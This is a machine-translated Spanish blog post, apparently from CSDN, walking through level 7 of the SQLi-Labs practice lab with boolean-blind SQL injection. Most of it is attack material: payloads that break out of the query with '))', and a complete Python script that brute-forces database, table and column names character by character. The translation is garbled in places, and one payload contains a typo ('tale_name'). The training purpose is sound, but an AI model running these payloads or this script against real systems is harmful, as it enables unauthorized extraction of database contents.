"Página de inicio del autor": Shibie Sanshi wyx
"Perfil del autor": CSDN top200, experto en blogs de Alibaba Cloud, experto en compartir en la nube de Huawei, creador de alta calidad en el campo de la seguridad de redes
El séptimo nivel es la inyección de caracteres de comillas simples + corchetes dobles, y se recomienda la inyección ciega booleana.
Método 1: persianas booleanas
Artículo recomendado: Explicación detallada del uso de la anotación ciega booleana, principio + pasos + tutorial práctico
El primer paso, determinar el punto de inyección.
Ingrese en la barra de direcciones: ?id=1')) y 1 – a, la página se muestra normalmente
Ingrese en la barra de direcciones: ?id=1')) y 0 – a, la página se muestra anormal (vacía)
El segundo paso, determinar la longitud.
Para determinar si la longitud del nombre de la base de datos utilizada actualmente es mayor que 1 (definitivamente mayor que), ingrese lo siguiente en la barra de direcciones:
?id=1')) and length(database()) > 1 -- a
Se establece el juicio, la página se muestra normalmente y se utiliza el script de Python para automatizar el juicio al final del artículo.
El tercer paso, enumerar caracteres
Para determinar si el código ascll del primer carácter del nombre de la base de datos es mayor que 1 (definitivamente mayor que), ingrese:
?id=1')) and ascii(substr((database()),1,1)) >1 -- a
Se establece el juicio, la página se muestra normalmente y se utiliza el script de Python para automatizar el juicio al final del artículo.
El cuarto paso, fuera de la biblioteca.
El script de Python es el siguiente, modificado según sea necesario:
import requests
# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload
# 目标网址(不带参数)
url = "http://55aa541ede774f4da9a2d0f63c3f758c.app.mituan.zone/Less-7/"
# 猜解长度使用的payload
payload_len = """?id=1')) and length(
(select group_concat(schema_name)
from information_schema.schemata)
) ={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1')) and ascii(
substr(
(select group_concat(schema_name)
from information_schema.schemata
),{n},1)
) ={r} -- a"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in....' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
# print('我正在猜解', n)
# 页面中出现此内容则表示成功
if 'You are in....' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
Obtenga todas las bases de datos
y juzgue la longitud de la carga útil:
?id=1')) and length(
(select group_concat(schema_name)
from information_schema.schemata)
) ={n} -- a
Enumerar carga útil de caracteres:
?id=1')) and ascii(
substr(
(select group_concat(schema_name)
from information_schema.schemata
),{n},1)
) ={r} -- a
Resultado de la ejecución:
Obtener todas las tablas de la biblioteca de seguridad.
Determinar la longitud de la carga útil:
?id=1')) and length(
(select group_concat(table_name)
from information_schema.tables
where table_schema="security")
) ={n} -- a
Enumerar carga útil de caracteres:
?id=1')) and ascii(
substr(
(select group_concat(table_name)
from information_schema.tables
where table_schema="security"
),{n},1)
) ={r} -- a
Resultado de la ejecución:
obtener todos los campos de la tabla de usuarios.
Determinar la longitud de la carga útil:
?id=1')) and length(
(select group_concat(column_name)
from information_schema.columns
where table_schema="security" and table_name="users")
) ={n} -- a
Enumerar carga útil de caracteres:
?id=1')) and ascii(
substr(
(select group_concat(column_name)
from information_schema.columns
where table_schema="security" and tale_name="users"
),{n},1)
) ={r} -- a
Columna recomendada
"Inicio rápido de seguridad de red" utiliza el tiempo más corto para dominar la tecnología de seguridad de red central.
"Tutorial de despacho de campos de tiro" Los tutoriales de despacho de aduanas de varios campos de tiro se actualizan continuamente...